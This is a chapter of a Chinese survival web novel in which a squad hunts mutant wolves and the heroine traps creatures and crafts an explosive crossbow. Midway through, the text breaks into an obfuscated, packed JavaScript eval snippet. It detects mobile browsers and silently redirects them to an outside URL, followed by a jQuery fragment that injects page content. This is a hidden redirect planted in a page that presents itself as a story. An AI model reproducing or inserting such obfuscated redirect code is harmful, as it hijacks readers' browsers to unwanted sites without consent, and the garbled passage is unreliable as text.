28.冰狱狩猎(二十四)

作品:《在无限废土当怪物之王

    凛冽到足以割裂呼吸的寒风裹挟着雪沫灌入,气温骤降。


    放眼望去,天地间只剩下令人绝望的单调灰白。


    天穹低垂,几乎与起伏不平的雪原融为一体,远处是被冰雪覆盖的废墟轮廓,看起来模模糊糊。


    这次负责和变异腐狼作战的是敢死队其中的一支,约十五六人。他们身穿轻薄但保暖的防寒服,装备精良,神情漠然中带着一股子久经沙场的悍气。


    领头的是个面庞黝黑、身材壮硕如铁塔的汉子,眼神凶戾,他娴熟的指挥着战场,短促而密集的枪声里,夹杂着变异腐狼临死前的惨嚎。


    声音在空旷的雪原上被风扯得破碎,不到两个小时,一切重归死寂。


    除了五个被委派过来吸引狼群攻击的流民和无光者,敢死队员毫发无损的结束了这场战斗。


    他们陆续从凹地里走出,身上或多或少溅上了暗色污迹,但队形依旧保持完整。


    壮汉走在最前面,手里拖着一条格外粗壮,覆盖着灰白色骨刺和冰晶的变异狼后腿,随意地扔在雪地上。


    “清点过了,头儿,十匹,全撂倒了。”一个队员上前汇报。


    那人点点头,环视一圈手下:“检查装备,准备撤。”


    就在这时,凹地边缘一处被炸塌的雪堆后面,传来极其细微的窸窣声,一道暗影贴着地面,以惊人的速度向更深的雪丘后方窜去!


    那是一只体型格外硕大、但动作异常灵活的变异狼,它的一条后腿不自然地弯曲着,显然受了伤,但求生的本能驱使着它快速逃离。


    “头儿!还有一只!装死的!”一个眼尖的队员立刻举起枪。


    壮汉却制止了他,他眯着眼,盯着那道迅速消失在雪丘后的暗影,黑脸上没什么表情。


    “不必追了。”他声音粗粝,“受了重伤,肯定吓破胆跑远了,这鬼天气,它活不了多久。”


    那队员有些犹豫:“可是……等会清理队就要入场收尾了,万一那畜生没跑远,搬来救兵,而且腐狼天性记仇,我们杀了它那么多同伴……”


    男人转过身,蒲扇般的大手猛地按在那队员的肩膀上,五指缓缓收拢。


    力道大得让对方脸色一白,骨头都发出轻微的“咯咯”声。


    “我说,”男人凑近了些,“这里只有九匹变异狼,被我们敢死队,全、部、歼、灭。听懂了吗?”


    那队员额角渗出冷汗,连连点头:“听、听懂了!头儿!全部歼灭了!”


    “走。”男人松开手,率先迈步。


    敢死队迅速集结,朝着列车停靠的方向返回。途中,他们遇到了正列队前往战场的清理队。


    男人的目光落在带队的那名年轻人脸上,嘴角扯出一个没什么温度的笑容:“周桡老弟,事情都办妥了。”


    “下面就辛苦你们清理队的弟兄们了。”他语气随意,但眼神里却有种心照不宣的意味。


    周桡目不斜视,声音平稳:“分内的事。”


    两队人马交错而过。


    清理队这次都是抽调的流民,总共二十四人,鹤爻她们宿舍,除了那个卫衣少年,都在其列。


    在周桡的带领下,他们深一脚浅一脚地走向那片刚刚结束杀戮的凹地。


    越靠近,血腥味和焦糊味就越浓烈,变异狼破碎的尸体随处可见,景象惨烈。


    周桡站在一处稍高的雪坡上,面对众人,开始下达指令,声音在寒风中显得清晰而冰冷。


    “所有人听好!这里是战场,不是游乐园!想活着回去,就必须遵守命令!”


    鹤爻和丁弃反应平平,吴白下意识抱紧了胸口的画框,于大娘瑟瑟发抖,李奥、舟行远夫妇、张猛,则相互对视,脸上都带着紧张和不安。


    “第一组,八个人,由我直接指挥,负责搬运和初步分割。”


    “主要是狼牙、完整的皮毛、某些特定的器官和腺体,动作要快,切割要准,一丝一毫有价值的东西都不能浪费!装进指定的收纳袋后装车带走!”


    “第二组,六个人,负责警戒!分散到外围四个方向,重点是西面和北面,那里的风向容易带来其他掠食者。盯紧自己负责的区域,有任何风吹草动,都立刻用胸口的信号哨示警!”


    “记住,你们的眼睛就是大家的生命线!不可擅自离岗或疏忽大意!”


    “剩下的人,原地待命,作为预备队,随时听候调遣,协助搬运或应对突发状况!都听清楚了没有!”


    命令一下,人群中出现了小小的骚动,谁都知道,去外围警戒意味着落单,远离大部队,直面未知的危险。


    而跟着周桡去搬运分割,虽然累点,但至少人多,而且巡查队的周队长在场,肯定安全许多。


    “我和弟弟申请去西边警戒!”一个平静的女声响起。


    周桡的目光落在鹤爻身上,又扫了一眼她身边的丁弃,允许了。


    “可以,记住保持警惕,间隔不要超过二十米,互相照应。”


    “还有我!我也去!”吴白也自告奋勇,他怀里依旧紧紧抱着那个用红绸包裹的画框,脸上有些害怕,但眼神却很坚定。


    周桡的视线却越过他,落在后方,“你,你,还有你——”


    他随手点了几个人,“你们几个,去警戒!其余人跟着我!”


    吴白呆愣不解,但还是迈步跟上大部队,他身边的于大娘和他并排走,好奇:“老吴,你这画一路抱着不累啊?啥宝贝疙瘩?”


    “哦,这、这是我妻子和女儿的画像……我得随身带着,就、就当她们陪着我……”吴白眼神闪烁的答。


    等众人迅速散开,鹤爻才将战术甩棍丢给丁弃,两人快速往西边的警戒点去了。


    雪很深,几乎没过小腿,寒风像无数细密的冰针,透过御寒服的缝隙往骨头里钻,远处凹地中央传来模糊的切割声和偶尔的指令,更衬得这边陲之地死寂而空旷。


    鹤爻找了几个相对隐蔽的地方,又用枯木和乱石做了掩盖,这才将小型种子陷阱一一投下,做好标记后,和丁弃去到了稍远的位置。


    现在只剩下耐心的等待了。


    不过在这段等待的时间里,鹤爻也没闲着,指挥丁弃收集周围纯净的积雪,自己则用便携式净水装置进行加工过滤。


    在列车上,不仅取水受控,还容易被人发现,鹤爻决定抓住这次外放的机会,多转化一点。


    已经五十瓶了,丁弃对鹤爻问:“姐姐,这些够咱们喝好一阵子了,还要继续吗?”


    “喝不完可以出去交易,水现在是硬通货,但不会永远都是。”


    鹤爻将微型能量块接入净水装置,开始对新一壶雪进行过滤,装置发出低微的嗡嗡声。


    “随着大家越来越强大,寻到的物资越来越多,水这类的生存物资价值必然下跌。”


    “我们必须趁现在,尽可能多地储备,并且尽快出手!”


    丁弃听得似懂非懂,但觉得姐姐说的肯定有道理,用力点头,更卖力地收集起雪来。


    等待净水装置工作的间隙,鹤爻又从源戒里取出毒气弹。


    她昨晚乘着大家睡着又做了几个,按照约定向“拾荒者”交付了两个,剩下还有四个,一份收进源戒,一份给了丁弃。


    “拉开顶部的拉环,用力投掷出去,撞击后会产生大量带有麻痹和毒杀效果的浓密烟雾。”


    “能拖住敌人,制造逃跑机会。是救命用的。”


    “我不能时时刻刻在你身边,虽然威力不如电浆震撼雷那么大,但能够出其不意!你小心放在身上,别被人发现了。”


    两枚外壳粗糙的灰绿色弹丸落在手心里,沉甸甸的,丁弃又惊又喜,翻来覆去地看:“姐姐,你对我真好!”


    看完又宝贝似的贴身放好。


    时间在寂静与寒风中一点点流逝,除了风声和远处隐约的嘈杂,只有净水装置规律的轻微嗡鸣。


    又做了一百瓶,鹤爻这才罢手,留了十瓶备用,其余一百四十瓶全部拉入了交易槽。


    丁弃一边搓着冻得发红的手,一边小声嘀咕:“姐姐,咱们那陷阱……也不知道捕到东西没有?”


    还没等鹤爻回答,不远处“咔哒”一声,紧接着,是更清晰的、像是有什么东西在挣扎的声响。


    其中还夹杂着一种压抑痛苦的嘶嘶声。


    得手了?!


    鹤爻眼中猛地爆发出锐利的光芒,两个人像影子一样,飞快朝着传来的方向潜去。


    心脏在胸腔里有力地跳动,带着一种猎人接近猎物时的,期待与兴奋。


    倒伏的枯树干旁,一个灰褐色的、长满粗硬刚毛的东西正在剧烈地抽搐、翻滚。


    它的半截身体被陷阱死死咬住,孢子囊不断喷射着麻痹雾气,让原本抓挠撕咬的猎物很快失去了反抗能力。


    那是一只体型比家猫还大一整圈的变异鼩鼱,嘴部突出,牙齿尖利,此刻翻着肚皮昏睡着。


    几乎同时,从另外两个方向也传来了类似的挣扎动静!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073778|194206||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    鹤爻按捺住激动,迅速检查了其他四个陷阱点。


    五处陷阱,有三处被触发!


    一处是刚刚那只变异鼩鼱。


    另一处陷阱里,困住了两只体积更小,皮毛银灰带黑斑的变异雪地鼠,它们被黏腻的孢子丝线缠住了后腿,此刻也是晕厥状态。


    第三处陷阱,捕获的竟然是一只井盖大小,甲壳黝黑发亮,长着尖锐口器的变异冰甲虫,它似乎对孢子抗性较强,并没有昏迷,但也被陷阱内弹出的带刺藤蔓束缚住了节肢,行动艰难。


    “成了!”鹤爻心中低喝一声,欣喜如岩浆般涌遍全身,她强迫自己冷静下来,动作却快如闪电。


    合金匕首出现在手中,寒光一闪。


    “嗤!”“嗤!”“嗤!”“嗤!”


    精准而狠厉的四次刺击,分别贯穿要害,几乎在它们生命气息消散的同时,淡蓝色的UI界面自动弹出。


    【你击杀了「变异鼩鼱」x1】


    【获得积分:3】


    【你击杀了「变异雪地鼠」x2】


    【获得积分:4】


    【你击杀了「变异冰甲虫」x1】


    【获得积分:5】


    「当前总积分:49」


    ………………


    她没有丝毫犹豫,也顾不得血腥,立刻开始剥皮放血,丁弃也在旁边帮忙拆骨和剔除血肉。


    两个人速度极快,怪物身上的东西一丝一毫都没有浪费。


    【获得材料:「完整的冰甲虫壳」x1,「锐利口器」x1,「锐利铁钳」x1,「甲虫分泌腺」x1、「新鲜血肉精华」x5】


    【获得材料:「锋利的啮齿」x2、「坚韧兽筋」x1、「坚韧兽皮」x1、「坚韧兽骨」x2、「小块毛发」x2、「新鲜血肉精华」x3】


    【获得材料:「完整鼠尾」x2,「坚韧兽骨」x2,「坚韧兽皮」x2、「小块毛发」x4、「新鲜血肉精华」x4】


    还有加起来约10kg的变异兽肉,鹤爻一并收进源戒。终于凑够了必要材料,时间紧迫,鹤爻决定先合成爆裂弩箭。


    按照图纸所需材料,她小心翼翼将硬木枝x100、铁骨藤芯x50、坚韧兽皮x1、坚韧兽骨x2,全部拖进了合成栏。


    深呼吸后,点击确认。


    鹤爻手心微微出汗,祈祷能够一次性合成成功,毕竟材料太过稀少。


    “砰”的一声,屏幕里出点炸毁的动态图标。


    失败了。


    不要紧,还有一次机会。


    失败是成功之母!


    鹤爻一边安慰自己,一边再次投入所需材料,开始忐忑等待。


    几分钟后,一道微弱白光在合成界面闪过,伴随着轻微的机械咬合声,所有材料消失,一个沉甸甸、带着金属冷意的物体落入鹤爻手中。


    【爆裂弩具·精良】


    【类型】:单兵腕带式投射武器


    【弹药】:爆燃铁箭x 10


    【核心效果】:命中时,箭头内压缩的易燃晶粉与铁屑剧烈反应,产生范围燃烧与火药溅射,对坚硬甲壳、集群目标或制造混乱有特效。


    “成功了!”鹤爻在心中欢呼。


    丁弃凑过来,眼睛亮晶晶地盯着鹤爻手中那副刚刚组装好的弩具。


    弩身线条流畅,弓弦是浸过油脂的结实藤蔓,绷得极紧,弩槽里的箭表面则带着暗红色的不规则纹路。


    “姐姐,这就是你说的爆裂弩?真有说的那么厉害?”


    鹤爻没说话,只是嘴角微扬,给了弟弟一个“看着”的眼神,而后抬起左臂,迅速瞄准瞄准了五十步外的一棵歪脖树。


    “耳听为虚,眼见为实,试试不就知道了?”


    话音刚落,扣在扳机上的食指稳稳压下。


    “嘣——!”


    弓弦释放的闷响短促有力,那支特制的箭矢化作一道模糊的灰影,撕裂寒冷的空气,以惊人的速度激射而出!


    下一瞬——


    “轰!!!”


    箭矢精准地命中歪脖树的树干中部,接触的瞬间,箭头内部压缩的爆燃物质被撞击引爆。


    箭矢从另一侧穿出,去势稍减,又接连贯穿后方第二棵稍细的枯树,最终深深扎进了第三棵树的树干里。


    木屑混合着冰雪四处飞溅,强大的冲击力让树干上炸开一个海碗大小的焦黑窟窿,窟窿眼里还冒着熊熊烈火。


    “好、好厉害!”丁弃目瞪口呆。